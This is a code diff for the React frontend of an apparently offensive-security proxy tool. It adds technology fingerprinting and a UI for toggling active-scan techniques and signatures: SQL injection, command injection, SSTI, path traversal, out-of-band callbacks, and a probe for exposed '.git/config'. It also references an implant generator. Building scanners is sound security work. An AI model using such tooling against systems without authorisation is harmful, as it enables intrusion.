|
||||
) : (
|
||||
<table className="w-full text-xs">
|
||||
<thead className="sticky top-0 bg-surface-card">
|
||||
<tr className="text-content-secondary text-left">
|
||||
<th className="px-3 py-1.5 font-medium">Host</th>
|
||||
<th className="px-3 py-1.5 font-medium">Technologies</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{hosts.slice(0, 40).map((h) => (
|
||||
<tr key={h.host} className="border-t border-border-subtle hover:bg-surface-hover align-top">
|
||||
<td className="px-3 py-1.5 text-content-primary whitespace-nowrap">
|
||||
<Redacted value={h.host} kind="url" />
|
||||
</td>
|
||||
<td className="px-3 py-1.5">
|
||||
<div className="flex flex-wrap gap-1">
|
||||
{h.technologies.map((t) => (
|
||||
<span
|
||||
key={t.name}
|
||||
title={t.categories?.join(', ')}
|
||||
className="px-1.5 py-0.5 rounded text-[10px] font-medium bg-accent-secondary/20 text-accent-secondary"
|
||||
>
|
||||
{t.name}
|
||||
{t.version ? ` ${t.version}` : ''}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
)}
|
||||
</DashboardPanel>
|
||||
)
|
||||
}
|
||||
+87
-5
@@ -172,6 +172,63 @@ export interface SitemapHost {
|
||||
count: number
|
||||
}
|
||||
|
||||
export interface Tech {
|
||||
name: string
|
||||
version?: string
|
||||
categories?: string[]
|
||||
confidence: number
|
||||
}
|
||||
|
||||
export interface HostTech {
|
||||
host: string
|
||||
technologies: Tech[]
|
||||
updatedAt: string
|
||||
}
|
||||
|
||||
export interface TechScanStatus {
|
||||
running: boolean
|
||||
jobId?: string
|
||||
scanned: number
|
||||
total: number
|
||||
status?: string
|
||||
}
|
||||
|
||||
export interface ActiveScanRule {
|
||||
id: string
|
||||
name: string
|
||||
category: string
|
||||
description: string
|
||||
enabled: boolean
|
||||
hasSignatures: boolean
|
||||
// Present for single-row engines (e.g. DOM XSS) whose row carries these; a
|
||||
// catalog engine's rows carry their own.
|
||||
severity?: string
|
||||
confidence?: string
|
||||
target?: string
|
||||
}
|
||||
|
||||
/** One read-only line in a catalog item's detail (e.g. "Payloads" -> "...", "Request"
|
||||
* -> "GET /.git/config"). Neutral so it serves both nuclei signatures and injection
|
||||
* checks. Mirrors activescan.CatalogField. */
|
||||
export interface CatalogDetailField {
|
||||
label: string
|
||||
value: string
|
||||
}
|
||||
|
||||
/** One toggleable entry in an active rule's catalog — a nuclei signature or an
|
||||
* injection check. Mirrors activescan.CatalogItem. */
|
||||
export interface SignatureCatalogItem {
|
||||
id: string
|
||||
name: string
|
||||
severity: string
|
||||
confidence?: string
|
||||
target?: string
|
||||
description?: string
|
||||
remediation?: string
|
||||
enabled: boolean
|
||||
detail?: CatalogDetailField[]
|
||||
}
|
||||
|
||||
export interface CapturedWSMessage {
|
||||
id: string
|
||||
connectionId: string
|
||||
@@ -1370,6 +1427,20 @@ export const api = {
|
||||
echoGetScan: () => req<EchoScanStatus>('GET', '/echo/scan'),
|
||||
echoCancelScan: () => req<EchoScanStatus>('POST', '/echo/scan/cancel', {}),
|
||||
|
||||
// Technology fingerprinting (passive; the embedded Wappalyzer database)
|
||||
techHosts: () =>
|
||||
req<{ enabled: boolean; hosts: HostTech[]; summary: { hosts: number; techs: number } }>(
|
||||
'GET', '/tech/hosts'),
|
||||
techHost: (host: string) => req<HostTech>('GET', `/tech/hosts/${encodeURIComponent(host)}`),
|
||||
techSetEnabled: (enabled: boolean) =>
|
||||
req<{ enabled: boolean }>('PUT', '/tech/enabled', { enabled }),
|
||||
// Re-fingerprint captured history: all hosts, or one when scope is 'host'. Used
|
||||
// to backfill hosts the live cursor skipped (e.g. a loaded project).
|
||||
techScan: (body?: { scope?: 'host' | 'all'; host?: string; clear?: boolean }) =>
|
||||
req<TechScanStatus>('POST', '/tech/scan', body ?? {}),
|
||||
techScanStatus: () => req<TechScanStatus>('GET', '/tech/scan'),
|
||||
techScanCancel: () => req<TechScanStatus>('POST', '/tech/scan/cancel', {}),
|
||||
|
||||
// Generate
|
||||
generate: (format: string, mode?: string, implantUrl?: string, binaryName?: string, inMemory?: boolean) =>
|
||||
req<{ fileName: string; authKey: string; content: string }>(
|
||||
@@ -1782,19 +1853,30 @@ export const api = {
|
||||
// Active scanning — operator-initiated rules (DOM XSS is the first) that drive a
|
||||
// target and file findings into Detect. Scope "host" scans every captured GET
|
||||
// endpoint for origin; "request" scans one captured request or a raw url.
|
||||
activeScanRules: () =>
|
||||
req<{ rules: { id: string; name: string; category: string; enabled: boolean }[] }>(
|
||||
'GET',
|
||||
'/activescan/rules',
|
||||
),
|
||||
activeScanRules: () => req<{ rules: ActiveScanRule[] }>('GET', '/activescan/rules'),
|
||||
setActiveScanRuleEnabled: (id: string, enabled: boolean) =>
|
||||
req<{ enabled: boolean }>('PUT', `/activescan/rules/${id}/enabled`, { enabled }),
|
||||
activeScanSignatures: (ruleId: string) =>
|
||||
req<{ signatures: SignatureCatalogItem[]; total: number; bySeverity: Record<string, number> }>(
|
||||
'GET', `/activescan/rules/${ruleId}/signatures`),
|
||||
setActiveScanSignatureEnabled: (ruleId: string, id: string, enabled: boolean) =>
|
||||
req<{ enabled: boolean }>(
|
||||
'PUT',
|
||||
`/activescan/rules/${encodeURIComponent(ruleId)}/signatures/${encodeURIComponent(id)}/enabled`,
|
||||
{ enabled },
|
||||
),
|
||||
setActiveScanSignaturesBulk: (ruleId: string, enabled: boolean) =>
|
||||
req<{ enabled: boolean }>('PUT', `/activescan/rules/${ruleId}/signatures/enabled`, { enabled }),
|
||||
startActiveScan: (body: {
|
||||
scope: 'host' | 'request'
|
||||
origin?: string
|
||||
url?: string
|
||||
requestId?: string
|
||||
rules?: string[]
|
||||
tags?: string[]
|
||||
severity?: string[]
|
||||
ignoreFingerprint?: boolean
|
||||
oast?: boolean
|
||||
}) =>
|
||||
req<{ runId: string; total: number; rules: string[]; urls: number; skipped: number }>(
|
||||
'POST',
|
||||
|
||||
@@ -5,6 +5,7 @@ import FlaggedRequestsWidget from '../components/dashboard/FlaggedRequestsWidget
|
||||
import TeamChatWidget from '../components/dashboard/TeamChatWidget'
|
||||
import ActiveUsersWidget from '../components/dashboard/ActiveUsersWidget'
|
||||
import DetectFindingsWidget from '../components/dashboard/DetectFindingsWidget'
|
||||
import TechnologiesWidget from '../components/dashboard/TechnologiesWidget'
|
||||
import ProxyHealthWidget from '../components/dashboard/ProxyHealthWidget'
|
||||
import AutomationActivityWidget from '../components/dashboard/AutomationActivityWidget'
|
||||
|
||||
@@ -19,6 +20,7 @@ export type WidgetId =
|
||||
| 'team-chat'
|
||||
| 'active-users'
|
||||
| 'detect-findings'
|
||||
| 'technologies'
|
||||
| 'proxy-health'
|
||||
| 'automation-activity'
|
||||
|
||||
@@ -70,6 +72,14 @@ export const WIDGETS: WidgetDef[] = [
|
||||
needs: ['detect'],
|
||||
render: () => <DetectFindingsWidget />,
|
||||
},
|
||||
{
|
||||
id: 'technologies',
|
||||
label: 'Technologies',
|
||||
description: 'Passive fingerprint of each host’s technology stack (headers, cookies, markup).',
|
||||
requiresProxyMode: true,
|
||||
needs: [],
|
||||
render: () => <TechnologiesWidget />,
|
||||
},
|
||||
{
|
||||
id: 'proxy-health',
|
||||
label: 'Proxy Health',
|
||||
|
||||
@@ -17,6 +17,13 @@ export const CATEGORY_OPTIONS = [
|
||||
{ key: 'cookies', label: 'Cookies', title: 'Cookie flag issues' },
|
||||
{ key: 'anomaly', label: 'Anomaly', title: 'Endpoints unlike their siblings on the same host' },
|
||||
{ key: 'dom-xss', label: 'DOM XSS', title: 'Runtime-confirmed DOM-based cross-site scripting' },
|
||||
{ key: 'template', label: 'Template', title: 'Template-signature checks: exposed files, known fingerprints, misconfigurations' },
|
||||
{ key: 'reflected-xss', label: 'Reflected XSS', title: 'Confirmed reflected cross-site scripting (parameter breaks out of its context)' },
|
||||
{ key: 'sqli', label: 'SQL injection', title: 'Error-based, boolean, time-based, or out-of-band SQL injection' },
|
||||
{ key: 'ssti', label: 'SSTI', title: 'Server-side template injection (an injected expression was evaluated)' },
|
||||
{ key: 'command-injection', label: 'Command injection', title: 'OS command injection (timing, echoed nonce, or out-of-band callback)' },
|
||||
{ key: 'open-redirect', label: 'Open redirect', title: 'Unvalidated redirect to an attacker-controlled host' },
|
||||
{ key: 'path-traversal', label: 'Path traversal', title: 'Directory traversal / local file inclusion returning file contents' },
|
||||
]
|
||||
|
||||
export const TARGET_OPTIONS = [
|
||||
|
||||
@@ -9,6 +9,11 @@ export async function initiateScan(body: {
|
||||
origin?: string
|
||||
url?: string
|
||||
requestId?: string
|
||||
rules?: string[]
|
||||
tags?: string[]
|
||||
severity?: string[]
|
||||
ignoreFingerprint?: boolean
|
||||
oast?: boolean
|
||||
}): Promise<void> {
|
||||
const addToast = useToastStore.getState().addToast
|
||||
try {
|
||||
@@ -20,3 +25,16 @@ export async function initiateScan(body: {
|
||||
addToast(msg, 'error')
|
||||
}
|
||||
}
|
||||
|
||||
// fingerprintHosts re-fingerprints captured history — one host, or all when host
|
||||
// is omitted — surfacing the result as a toast. Updates arrive over tech.* events.
|
||||
export async function fingerprintHosts(host?: string): Promise<void> {
|
||||
const addToast = useToastStore.getState().addToast
|
||||
try {
|
||||
await api.techScan(host ? { scope: 'host', host } : { scope: 'all', clear: true })
|
||||
addToast(host ? `Fingerprinting ${host}…` : 'Re-fingerprinting all hosts…', 'info')
|
||||
} catch (e) {
|
||||
const msg = e instanceof ApiError ? e.message : String((e as Error).message ?? e)
|
||||
addToast(msg, 'error')
|
||||
}
|
||||
}
|
||||
@@ -14,6 +14,8 @@ import { useInterceptStore, type InterceptKind, type PendingItem } from '../stor
|
||||
import { useManipulateWSStore, type WSFrameEntry } from '../stores/manipulateWSStore'
|
||||
import { useRequestStore, type RequestSummary } from '../stores/requestStore'
|
||||
import { useTeamStore, type ChatMessage, type ActiveUser } from '../stores/teamStore'
|
||||
import { useTechStore } from '../stores/techStore'
|
||||
import type { HostTech } from '../lib/api'
|
||||
import { useTeamConnectionStore, type RelayState } from '../stores/teamConnectionStore'
|
||||
import { useTeamFlaggedStore, type FlaggedSummary } from '../stores/teamFlaggedStore'
|
||||
import { useTeamSharedConfigStore, type SharedConfigSummary } from '../stores/teamSharedConfigStore'
|
||||
@@ -455,6 +457,14 @@ function handleMessage(msg: WSMessage) {
|
||||
useDetectStore.getState().setSummary(msg.data as DetectSummary)
|
||||
break
|
||||
}
|
||||
case 'tech.detected': {
|
||||
useTechStore.getState().applyDetected(msg.data as HostTech)
|
||||
break
|
||||
}
|
||||
case 'tech.summary': {
|
||||
useTechStore.getState().setSummary(msg.data as { hosts: number; techs: number })
|
||||
break
|
||||
}
|
||||
case 'detect.scan.started': {
|
||||
const d = msg.data as { jobId: string; kind: string; total: number }
|
||||
useDetectStore.getState().setScan({
|
||||
|
||||
+344
-248
@@ -1,5 +1,4 @@
|
||||
import {
|
||||
Fragment,
|
||||
useCallback,
|
||||
useEffect,
|
||||
useMemo,
|
||||
@@ -10,7 +9,6 @@ import {
|
||||
import { useNavigate } from 'react-router'
|
||||
import {
|
||||
ChevronDown,
|
||||
ChevronRight,
|
||||
ChevronUp,
|
||||
Eye,
|
||||
EyeOff,
|
||||
@@ -30,7 +28,7 @@ import {
|
||||
} from '@codemirror/view'
|
||||
import type { Range } from '@codemirror/state'
|
||||
import { oneDark } from '@codemirror/theme-one-dark'
|
||||
import { api, type ActiveScanRun } from '../lib/api'
|
||||
import { api, type ActiveScanRun, type ActiveScanRule, type SignatureCatalogItem } from '../lib/api'
|
||||
import { useActiveScanStore } from '../stores/activeScanStore'
|
||||
import { ResponseRender, usePrettyJson } from '../components/ResponseRender'
|
||||
import LensOutput from '../components/LensOutput'
|
||||
@@ -42,6 +40,8 @@ import { useResizable } from '../lib/useResizable'
|
||||
import ContextMenu, { type MenuItem } from '../components/ContextMenu'
|
||||
import ConfirmModal from '../components/ConfirmModal'
|
||||
import DetectRuleModal from '../components/DetectRuleModal'
|
||||
import SignatureDetail from '../components/SignatureDetail'
|
||||
import RuleTableSection, { type RuleGroupVM } from '../components/RuleTableSection'
|
||||
import MultiSelectDropdown from '../components/MultiSelectDropdown'
|
||||
import { Tooltip } from '../components/Tooltip'
|
||||
import { getSelectionMenuItems } from '../lib/selectionMenu'
|
||||
@@ -120,26 +120,42 @@ function formatTime(iso: string): string {
|
||||
|
||||
// Collapsed rule categories persist to localStorage, as the findings sort order
|
||||
// does.
|
||||
const COLLAPSED_KEY = 'joro-detect-collapsed'
|
||||
// Tracks which groups the operator has opened. Default-empty means every group
|
||||
// (active and passive) starts collapsed; their choices then persist.
|
||||
const EXPANDED_KEY = 'joro-detect-expanded'
|
||||
|
||||
function loadCollapsed(): Set<string> {
|
||||
function loadExpanded(): Set<string> {
|
||||
try {
|
||||
const raw = localStorage.getItem(COLLAPSED_KEY)
|
||||
const raw = localStorage.getItem(EXPANDED_KEY)
|
||||
if (raw) return new Set(JSON.parse(raw) as string[])
|
||||
} catch {
|
||||
// Ignore malformed storage and start expanded.
|
||||
// Ignore malformed storage and start all-collapsed.
|
||||
}
|
||||
return new Set()
|
||||
}
|
||||
|
||||
function persistCollapsed(v: Set<string>) {
|
||||
function persistExpanded(v: Set<string>) {
|
||||
try {
|
||||
localStorage.setItem(COLLAPSED_KEY, JSON.stringify([...v]))
|
||||
localStorage.setItem(EXPANDED_KEY, JSON.stringify([...v]))
|
||||
} catch {
|
||||
// Storage is best-effort.
|
||||
}
|
||||
}
|
||||
|
||||
// Active techniques are grouped into families in the Active Rules tab. Family is a
|
||||
// UI-only mapping from a rule's finding category; unmapped → "Other".
|
||||
const ACTIVE_FAMILY: Record<string, string> = {
|
||||
'reflected-xss': 'Injection',
|
||||
sqli: 'Injection',
|
||||
ssti: 'Injection',
|
||||
'command-injection': 'Injection',
|
||||
'open-redirect': 'Injection',
|
||||
'path-traversal': 'Injection',
|
||||
template: 'Signatures',
|
||||
'dom-xss': 'Browser-driven',
|
||||
}
|
||||
const ACTIVE_FAMILY_ORDER = ['Injection', 'Signatures', 'Browser-driven', 'Other']
|
||||
|
||||
// evidenceHighlightPlugin marks the matched evidence inside the raw view.
|
||||
//
|
||||
// The backend offset is preferred over a text search, which mis-highlights when
|
||||
@@ -200,7 +216,7 @@ function evidenceHighlightPlugin(
|
||||
}
|
||||
|
||||
export default function Detect() {
|
||||
const [tab, setTab] = useState<'findings' | 'rules' | 'scans'>('findings')
|
||||
const [tab, setTab] = useState<'findings' | 'passive-rules' | 'active-rules' | 'scans'>('findings')
|
||||
const scanRunning = useActiveScanStore((s) => s.runs.some((r) => r.status === 'running'))
|
||||
|
||||
return (
|
||||
@@ -209,7 +225,8 @@ export default function Detect() {
|
||||
{(
|
||||
[
|
||||
['findings', 'Findings'],
|
||||
['rules', 'Rules'],
|
||||
['passive-rules', 'Passive Rules'],
|
||||
['active-rules', 'Active Rules'],
|
||||
['scans', 'Scans'],
|
||||
] as const
|
||||
).map(([key, label]) => (
|
||||
@@ -229,7 +246,15 @@ export default function Detect() {
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
{tab === 'findings' ? <FindingsView /> : tab === 'rules' ? <RulesView /> : <ScansView />}
|
||||
{tab === 'findings' ? (
|
||||
<FindingsView />
|
||||
) : tab === 'passive-rules' ? (
|
||||
<RulesView mode="passive" />
|
||||
) : tab === 'active-rules' ? (
|
||||
<RulesView mode="active" />
|
||||
) : (
|
||||
<ScansView />
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1191,9 +1216,10 @@ function DetailField({
|
||||
// Rules
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// RulesView is a full-width list. The inline checkbox toggles a rule in place;
|
||||
// the row body opens DetectRuleModal for per-rule configuration.
|
||||
function RulesView() {
|
||||
// RulesView renders either the passive detection rules or the active-scan
|
||||
// techniques, depending on mode — the two models get separate Detect sub-tabs but
|
||||
// share this grouped-table view.
|
||||
function RulesView({ mode }: { mode: 'passive' | 'active' }) {
|
||||
const addToast = useToastStore((s) => s.addToast)
|
||||
const { rules, rulesLoaded, config, setRules, setRuleEnabled, setConfig, setFilter } =
|
||||
useDetectStore()
|
||||
@@ -1203,7 +1229,7 @@ function RulesView() {
|
||||
const [state, setState] = useState<'all' | 'enabled' | 'disabled'>('all')
|
||||
const [cats, setCats] = useState<string[]>([])
|
||||
const [sevs, setSevs] = useState<string[]>([])
|
||||
const [collapsed, setCollapsed] = useState<Set<string>>(loadCollapsed)
|
||||
const [expanded, setExpanded] = useState<Set<string>>(loadExpanded)
|
||||
const [modalRuleId, setModalRuleId] = useState<string | null>(null)
|
||||
const [creating, setCreating] = useState(false)
|
||||
const [showSettings, setShowSettings] = useState(false)
|
||||
@@ -1211,15 +1237,33 @@ function RulesView() {
|
||||
// Active-scan rules come from a separate registry endpoint and are few and
|
||||
// static apart from their enabled toggle, so they live in local state rather
|
||||
// than the detect store. null means not-yet-loaded (or unavailable in this mode).
|
||||
const [activeRules, setActiveRules] = useState<
|
||||
{ id: string; name: string; category: string; enabled: boolean }[] | null
|
||||
>(null)
|
||||
useEffect(() => {
|
||||
api
|
||||
.activeScanRules()
|
||||
.then((d) => setActiveRules(d.rules))
|
||||
.catch(() => setActiveRules(null))
|
||||
const [activeRules, setActiveRules] = useState<ActiveScanRule[] | null>(null)
|
||||
// Signatures per engine that has a catalog, keyed by rule id.
|
||||
const [activeSigs, setActiveSigs] = useState<Record<string, SignatureCatalogItem[]>>({})
|
||||
// The signature (or single-engine check) whose read-only detail is open.
|
||||
const [activeDetail, setActiveDetail] = useState<SignatureCatalogItem | null>(null)
|
||||
|
||||
const loadActive = useCallback(async () => {
|
||||
try {
|
||||
const d = await api.activeScanRules()
|
||||
setActiveRules(d.rules)
|
||||
const sigs: Record<string, SignatureCatalogItem[]> = {}
|
||||
await Promise.all(
|
||||
d.rules
|
||||
.filter((r) => r.hasSignatures)
|
||||
.map(async (r) => {
|
||||
sigs[r.id] = (await api.activeScanSignatures(r.id)).signatures
|
||||
}),
|
||||
)
|
||||
setActiveSigs(sigs)
|
||||
} catch {
|
||||
setActiveRules(null)
|
||||
}
|
||||
}, [])
|
||||
useEffect(() => {
|
||||
if (mode === 'active') void loadActive()
|
||||
}, [mode, loadActive])
|
||||
|
||||
const toggleActiveRule = (id: string, enabled: boolean) => {
|
||||
setActiveRules((prev) => prev?.map((r) => (r.id === id ? { ...r, enabled } : r)) ?? prev)
|
||||
api.setActiveScanRuleEnabled(id, enabled).catch((err) => {
|
||||
@@ -1227,6 +1271,29 @@ function RulesView() {
|
||||
setActiveRules((prev) => prev?.map((r) => (r.id === id ? { ...r, enabled: !enabled } : r)) ?? prev)
|
||||
})
|
||||
}
|
||||
const toggleSignature = (ruleId: string, sigId: string, enabled: boolean) => {
|
||||
setActiveSigs((prev) => ({
|
||||
...prev,
|
||||
[ruleId]: (prev[ruleId] ?? []).map((s) => (s.id === sigId ? { ...s, enabled } : s)),
|
||||
}))
|
||||
api.setActiveScanSignatureEnabled(ruleId, sigId, enabled).catch((err) => {
|
||||
addToast((err as Error).message, 'error')
|
||||
setActiveSigs((prev) => ({
|
||||
...prev,
|
||||
[ruleId]: (prev[ruleId] ?? []).map((s) => (s.id === sigId ? { ...s, enabled: !enabled } : s)),
|
||||
}))
|
||||
})
|
||||
}
|
||||
const bulkSignatures = (ruleId: string, enabled: boolean) => {
|
||||
setActiveSigs((prev) => ({
|
||||
...prev,
|
||||
[ruleId]: (prev[ruleId] ?? []).map((s) => ({ ...s, enabled })),
|
||||
}))
|
||||
api.setActiveScanSignaturesBulk(ruleId, enabled).catch((err) => {
|
||||
addToast((err as Error).message, 'error')
|
||||
void loadActive()
|
||||
})
|
||||
}
|
||||
|
||||
const loadRules = useCallback(async () => {
|
||||
try {
|
||||
@@ -1238,16 +1305,16 @@ function RulesView() {
|
||||
}, [setRules, addToast])
|
||||
|
||||
useEffect(() => {
|
||||
if (!rulesLoaded) void loadRules()
|
||||
}, [rulesLoaded, loadRules])
|
||||
if (mode === 'passive' && !rulesLoaded) void loadRules()
|
||||
}, [mode, rulesLoaded, loadRules])
|
||||
|
||||
useEffect(() => {
|
||||
if (config) return
|
||||
if (mode !== 'passive' || config) return
|
||||
api
|
||||
.getDetectConfig()
|
||||
.then(setConfig)
|
||||
.catch(() => {})
|
||||
}, [config, setConfig])
|
||||
}, [mode, config, setConfig])
|
||||
|
||||
// Resolved from the live list rather than captured on open, so a toggle made
|
||||
// inside the modal shows immediately after loadRules().
|
||||
@@ -1290,30 +1357,162 @@ function RulesView() {
|
||||
const filtering =
|
||||
search !== '' || cats.length > 0 || sevs.length > 0 || origin !== 'all' || state !== 'all'
|
||||
|
||||
function toggleCategory(category: string) {
|
||||
setCollapsed((prev) => {
|
||||
function toggleGroup(key: string) {
|
||||
setExpanded((prev) => {
|
||||
const next = new Set(prev)
|
||||
if (next.has(category)) next.delete(category)
|
||||
else next.add(category)
|
||||
persistCollapsed(next)
|
||||
if (next.has(key)) next.delete(key)
|
||||
else next.add(key)
|
||||
persistExpanded(next)
|
||||
return next
|
||||
})
|
||||
}
|
||||
|
||||
function setAllCollapsed(all: boolean) {
|
||||
const next = all ? new Set(grouped.map(([c]) => c)) : new Set<string>()
|
||||
persistCollapsed(next)
|
||||
setCollapsed(next)
|
||||
}
|
||||
|
||||
const allCollapsed = grouped.length > 0 && grouped.every(([c]) => collapsed.has(c))
|
||||
|
||||
function setCategoryEnabled(category: string, enabled: boolean) {
|
||||
for (const r of rules) {
|
||||
if (r.category === category && r.enabled !== enabled) setRuleEnabled(r.id, enabled)
|
||||
}
|
||||
}
|
||||
|
||||
// Passive rules mapped into the shared section view-model (rows click → edit modal).
|
||||
const passiveGroups = useMemo<RuleGroupVM[]>(
|
||||
() =>
|
||||
grouped.map(([category, catRules]) => ({
|
||||
key: category,
|
||||
label: category,
|
||||
rows: catRules.map((r) => ({
|
||||
id: r.id,
|
||||
name: r.name,
|
||||
description: r.description,
|
||||
severity: r.severity,
|
||||
confidence: r.confidence,
|
||||
target: r.target,
|
||||
originBuiltin: r.builtin,
|
||||
originLabel: r.builtin ? 'Built-in' : 'Custom',
|
||||
enabled: r.enabled,
|
||||
hits: r.findingCount,
|
||||
onToggle: (en: boolean) => setRuleEnabled(r.id, en),
|
||||
onClick: () => {
|
||||
setCreating(false)
|
||||
setModalRuleId(r.id)
|
||||
},
|
||||
onHits: () => setFilter({ rule: r.id, severities: [] }),
|
||||
})),
|
||||
onEnableAll: () => setCategoryEnabled(category, true),
|
||||
onDisableAll: () => setCategoryEnabled(category, false),
|
||||
})),
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
[grouped],
|
||||
)
|
||||
|
||||
// Active rules mapped the same way: engines with a catalog expand to their
|
||||
// signatures (per-signature toggle, read-only detail on click) with a master
|
||||
// engine toggle; a single-row engine (DOM XSS) is one row.
|
||||
// Active techniques are grouped by family (section) → technique (group) → rows.
|
||||
const activeFamilies = useMemo<{ family: string; groups: RuleGroupVM[] }[]>(() => {
|
||||
if (!activeRules) return []
|
||||
const needle = search.toLowerCase()
|
||||
const stateOK = (enabled: boolean) =>
|
||||
state === 'all' || (state === 'enabled' && enabled) || (state === 'disabled' && !enabled)
|
||||
const rowOK = (name: string, id: string, desc: string | undefined, severity: string) => {
|
||||
if (origin === 'custom') return false // active signatures are all built-in
|
||||
if (sevs.length > 0 && !sevs.includes(severity)) return false
|
||||
if (
|
||||
needle &&
|
||||
!name.toLowerCase().includes(needle) &&
|
||||
!id.toLowerCase().includes(needle) &&
|
||||
!(desc ?? '').toLowerCase().includes(needle)
|
||||
) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
const byFamily = new Map<string, RuleGroupVM[]>()
|
||||
const push = (fam: string, g: RuleGroupVM) => {
|
||||
const a = byFamily.get(fam) ?? []
|
||||
a.push(g)
|
||||
byFamily.set(fam, a)
|
||||
}
|
||||
for (const eng of activeRules) {
|
||||
if (cats.length > 0 && !cats.includes(eng.category)) continue
|
||||
const fam = ACTIVE_FAMILY[eng.category] ?? 'Other'
|
||||
if (eng.hasSignatures) {
|
||||
const rows = (activeSigs[eng.id] ?? [])
|
||||
.filter((s) => rowOK(s.name, s.id, s.description, s.severity) && stateOK(s.enabled))
|
||||
.map((s) => ({
|
||||
id: `${eng.id}:${s.id}`,
|
||||
name: s.name,
|
||||
description: s.description,
|
||||
severity: s.severity,
|
||||
confidence: s.confidence,
|
||||
target: s.target,
|
||||
originBuiltin: true,
|
||||
originLabel: 'Built-in',
|
||||
enabled: s.enabled,
|
||||
onToggle: (en: boolean) => toggleSignature(eng.id, s.id, en),
|
||||
onClick: () => setActiveDetail(s),
|
||||
}))
|
||||
if (filtering && rows.length === 0) continue
|
||||
push(fam, {
|
||||
key: eng.id,
|
||||
label: eng.name,
|
||||
description: eng.description,
|
||||
rows,
|
||||
onEnableAll: () => bulkSignatures(eng.id, true),
|
||||
onDisableAll: () => bulkSignatures(eng.id, false),
|
||||
})
|
||||
} else {
|
||||
const sev = eng.severity ?? 'info'
|
||||
if (!(rowOK(eng.name, eng.id, eng.description, sev) && stateOK(eng.enabled))) continue
|
||||
const synthetic: SignatureCatalogItem = {
|
||||
id: eng.id,
|
||||
name: eng.name,
|
||||
severity: sev,
|
||||
confidence: eng.confidence,
|
||||
target: eng.target,
|
||||
description: eng.description,
|
||||
enabled: eng.enabled,
|
||||
}
|
||||
push(fam, {
|
||||
key: eng.id,
|
||||
label: eng.name,
|
||||
rows: [
|
||||
{
|
||||
id: eng.id,
|
||||
name: eng.name,
|
||||
description: eng.description,
|
||||
severity: sev,
|
||||
confidence: eng.confidence,
|
||||
target: eng.target,
|
||||
originBuiltin: true,
|
||||
originLabel: 'Built-in',
|
||||
enabled: eng.enabled,
|
||||
onToggle: (en: boolean) => toggleActiveRule(eng.id, en),
|
||||
onClick: () => setActiveDetail(synthetic),
|
||||
},
|
||||
],
|
||||
onEnableAll: () => toggleActiveRule(eng.id, true),
|
||||
onDisableAll: () => toggleActiveRule(eng.id, false),
|
||||
})
|
||||
}
|
||||
}
|
||||
return ACTIVE_FAMILY_ORDER.filter((f) => byFamily.has(f)).map((f) => ({
|
||||
family: f,
|
||||
groups: byFamily.get(f)!,
|
||||
}))
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [activeRules, activeSigs, search, sevs, cats, origin, state, filtering])
|
||||
|
||||
const anyExpanded = expanded.size > 0
|
||||
function setAllExpanded(expand: boolean) {
|
||||
const keys =
|
||||
mode === 'active'
|
||||
? activeFamilies.flatMap((f) => f.groups.map((g) => g.key))
|
||||
: passiveGroups.map((g) => g.key)
|
||||
const next = expand ? new Set(keys) : new Set<string>()
|
||||
persistExpanded(next)
|
||||
setExpanded(next)
|
||||
}
|
||||
|
||||
async function patchConfig(patch: Record<string, unknown>) {
|
||||
try {
|
||||
setConfig(await api.updateDetectConfig(patch))
|
||||
@@ -1329,15 +1528,6 @@ function RulesView() {
|
||||
: 'bg-surface-input text-content-secondary hover:bg-surface-hover'
|
||||
}`
|
||||
|
||||
const originPill = (builtin: boolean) => (
|
||||
<span
|
||||
className={`inline-block px-1 py-px rounded-sm bg-surface-input text-[10px] font-semibold uppercase tracking-wide align-middle ${
|
||||
builtin ? 'text-accent-secondary' : 'text-accent-tertiary'
|
||||
}`}
|
||||
>
|
||||
{builtin ? 'Built-in' : 'Custom'}
|
||||
</span>
|
||||
)
|
||||
|
||||
const enabledCount = rules.filter((r) => r.enabled).length
|
||||
|
||||
@@ -1345,12 +1535,14 @@ function RulesView() {
|
||||
<div className="flex flex-col flex-1 min-h-0">
|
||||
{/* Toolbar */}
|
||||
<div className="flex flex-wrap items-center gap-2 px-2 py-1.5 border-b border-border bg-surface-card shrink-0">
|
||||
<MultiSelectDropdown
|
||||
label="Category"
|
||||
options={CATEGORY_OPTIONS}
|
||||
selected={cats}
|
||||
onChange={setCats}
|
||||
/>
|
||||
{mode === 'passive' && (
|
||||
<MultiSelectDropdown
|
||||
label="Category"
|
||||
options={CATEGORY_OPTIONS}
|
||||
selected={cats}
|
||||
onChange={setCats}
|
||||
/>
|
||||
)}
|
||||
<MultiSelectDropdown
|
||||
label="Severity"
|
||||
options={SEVERITY_OPTIONS}
|
||||
@@ -1366,13 +1558,15 @@ function RulesView() {
|
||||
className="bg-surface-input text-xs px-2 py-1.5 rounded-sm border border-border w-full"
|
||||
/>
|
||||
</label>
|
||||
<div className="flex items-center gap-0.5">
|
||||
{(['all', 'builtin', 'custom'] as const).map((k) => (
|
||||
<button key={k} onClick={() => setOrigin(k)} className={chip(origin === k)}>
|
||||
{k === 'all' ? 'All' : k === 'builtin' ? 'Built-in' : 'Custom'}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
{mode === 'passive' && (
|
||||
<div className="flex items-center gap-0.5">
|
||||
{(['all', 'builtin', 'custom'] as const).map((k) => (
|
||||
<button key={k} onClick={() => setOrigin(k)} className={chip(origin === k)}>
|
||||
{k === 'all' ? 'All' : k === 'builtin' ? 'Built-in' : 'Custom'}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
<div className="flex items-center gap-0.5">
|
||||
{(['all', 'enabled', 'disabled'] as const).map((k) => (
|
||||
<Tooltip
|
||||
@@ -1385,30 +1579,34 @@ function RulesView() {
|
||||
</Tooltip>
|
||||
))}
|
||||
</div>
|
||||
<Tooltip content={allCollapsed ? 'Expand every category' : 'Collapse every category'}>
|
||||
<Tooltip content={anyExpanded ? 'Collapse every group' : 'Expand every group'}>
|
||||
<button
|
||||
onClick={() => setAllCollapsed(!allCollapsed)}
|
||||
